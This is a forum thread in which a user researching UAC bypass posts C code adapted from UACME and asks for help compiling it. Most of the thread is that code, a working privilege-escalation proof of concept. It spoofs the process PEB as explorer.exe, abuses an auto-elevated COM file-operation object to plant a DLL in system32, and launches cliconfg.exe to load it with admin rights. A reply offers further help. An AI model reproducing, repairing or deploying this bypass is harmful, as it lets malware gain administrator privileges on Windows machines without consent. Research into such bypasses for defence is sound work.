Jump to content
Tuts 4 You
Sign in to follow this  
drov

Copy file on protected location without injection

Recommended Posts

drov

Hello,

I am currently working on a paper on uac bypass I would like to show a proof of concept as well and of course I want to code it myself.

I already found some great methods but they all require you to copy a file (usually a dll) to a protected location (usually system32)

Of course I red everything about the greatest proof of concept currently available :  uacme

On the forum post the coder describes everything related to his findings and it's a great source. On this post : http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3643&start=80#p28249  
He describes a way to copy a file to a protected location without injection, but for some reason My visual studio can't compile it : the functions ask for pointers instead of the structures, some element of the structures that he uses doesn't exists etc.
I tried to work around it but he uses some undocumented functions which are just way too much for me to handle since I don't even understand why his code compiles and not mine (this code snippet can be found on the UACME source).

UACME is made in C and I'm coding in C++ but this should not make such a difference in windows api right ?

If you can describe me a better way or help me run this poc it would be great.

Thanks a lot in advance for the help :)

    void TestCopy()
    {
        BOOL                cond = FALSE;
        IFileOperation     *FileOperation1 = NULL;
        IShellItem         *isrc = NULL, *idst = NULL;
        BIND_OPTS3          bop;
        SHELLEXECUTEINFOW   shexec;
        HRESULT             r;

        do {

            r = CoInitialize(NULL);
            if (r != S_OK)
                break;

            RtlSecureZeroMemory(&bop, sizeof(bop));
            RtlSecureZeroMemory(&shexec, sizeof(shexec));

            r = CoCreateInstance(&CLSID_FileOperation, NULL,
                CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &IID_IFileOperation, &FileOperation1);

            if (r != S_OK) {
                break;
            }

            if (FileOperation1 != NULL) {
                FileOperation1->lpVtbl->Release(FileOperation1);
            }

            bop.cbStruct = sizeof(bop);
            bop.dwClassContext = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER;
            r = CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}", (BIND_OPTS *)&bop, &IID_IFileOperation, &FileOperation1);
            if (r != S_OK) {
                break;
            }
            if (FileOperation1 == NULL) {
                r = E_FAIL;
                break;
            }

            FileOperation1->lpVtbl->SetOperationFlags(FileOperation1,
                FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION);

            r = SHCreateItemFromParsingName(L"C:\\temp\\ntwdblib.dll",
                NULL, &IID_IShellItem, &isrc);

            if (r != S_OK) {
                break;
            }
            r = SHCreateItemFromParsingName(L"C:\\windows\\system32\\", NULL, &IID_IShellItem, &idst);
            if (r != S_OK) {
                break;
            }

            r = FileOperation1->lpVtbl->MoveItem(FileOperation1, isrc, idst, NULL, NULL);
            if (r != S_OK) {
                break;
            }
            r = FileOperation1->lpVtbl->PerformOperations(FileOperation1);
            if (r != S_OK) {
                break;
            }

            idst->lpVtbl->Release(idst);
            idst = NULL;
            isrc->lpVtbl->Release(isrc);
            isrc = NULL;     

            shexec.cbSize = sizeof(shexec);
            shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
            shexec.nShow = SW_SHOW;

            shexec.lpFile = L"C:\\windows\\system32\\cliconfg.exe";
            shexec.lpParameters = NULL;
            shexec.lpDirectory = L"C:\\windows\\system32\\";
            if (ShellExecuteExW(&shexec)) {
                if (shexec.hProcess != NULL) {
                    WaitForSingleObject(shexec.hProcess, INFINITE);
                    CloseHandle(shexec.hProcess);
                }
            }

        } while (cond);

        if (FileOperation1 != NULL) {
            FileOperation1->lpVtbl->Release(FileOperation1);
        }
        if (isrc != NULL) {
            isrc->lpVtbl->Release(isrc);
        }
        if (idst != NULL) {
            idst->lpVtbl->Release(idst);
        }
        CoUninitialize();
    }

    void ShowProcessIntegrityLevel()
    {
        NTSTATUS status;
        HANDLE hToken;

        ULONG LengthNeeded;

        PTOKEN_MANDATORY_LABEL pTIL = NULL;
        DWORD dwIntegrityLevel;
        WCHAR *t = NULL;
        WCHAR szBuffer[MAX_PATH + 1];

        status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_QUERY, &hToken);
        if (NT_SUCCESS(status)) {

            status = NtQueryInformationToken(hToken, TokenIntegrityLevel, NULL, 0, &LengthNeeded);
            if (status == STATUS_BUFFER_TOO_SMALL) {

                pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, LengthNeeded);
                if (pTIL) {
                    status = NtQueryInformationToken(hToken, TokenIntegrityLevel, pTIL, LengthNeeded, &LengthNeeded);
                    if (NT_SUCCESS(status)) {

                        dwIntegrityLevel = *RtlSubAuthoritySid(pTIL->Label.Sid,
                            (DWORD)(UCHAR)(*RtlSubAuthorityCountSid(pTIL->Label.Sid) - 1));

                        if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID)
                        {
                            t = L"Low Process";
                        }
                        else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&
                            dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
                        {
                            t = L"Medium Process";
                        }
                        else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID)
                        {
                            t = L"High Integrity Process";
                        }
                        else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID)
                        {
                            t = L"System Integrity Process";
                        }

                        RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
                        wsprintf(szBuffer, L"PID=%lu, IntegrityLevel=%ws",
                            GetCurrentProcessId(), t);

                    }
                    LocalFree(pTIL);
                }
            }
            NtClose(hToken);
        }
        if (t) MessageBox(0, szBuffer, GetCommandLineW(), MB_ICONINFORMATION);
    }


    void main()
    {
        PLDR_DATA_TABLE_ENTRY   Entry;
        PLIST_ENTRY             Head, Next;
        PPEB                    Peb = RtlGetCurrentPeb();
        PVOID                   ImageBase = Peb->ImageBaseAddress;
        WCHAR                   szBuffer[MAX_PATH + 1];

        ShowProcessIntegrityLevel();

        RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
        GetWindowsDirectory(szBuffer, MAX_PATH);
        lstrcat(szBuffer, L"\\explorer.exe");

        RtlEnterCriticalSection(Peb->FastPebLock);

        RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, szBuffer);
        RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, szBuffer);

        RtlLeaveCriticalSection(Peb->FastPebLock);

        RtlEnterCriticalSection(Peb->LoaderLock);

        Head = &Peb->Ldr->InLoadOrderModuleList;
        Next = Head->Flink;
        while (Next != Head) {
            Entry = CONTAINING_RECORD(Next, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
            if (Entry->DllBase == ImageBase) {
                RtlInitUnicodeString(&Entry->FullDllName, szBuffer);
                RtlInitUnicodeString(&Entry->BaseDllName, L"explorer.exe");
                break;
            }
            Next = Next->Flink;
        }

        RtlLeaveCriticalSection(Peb->LoaderLock);

        TestCopy();

        ExitProcess(0);
    }

 

 

Share this post


Link to post
atom0s

C++ is a superset language of C, it will have no difference on the Win32 API calls. 

Share this post


Link to post
Mr.Mecanik

What is the "file" you are actually trying to copy ? And the exact location ? Because there is a way of doing it, but the code snippet you have here is not gonna cut it, so if you give more info I can help you.

Share this post


Link to post

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  
×
×
  • Create New...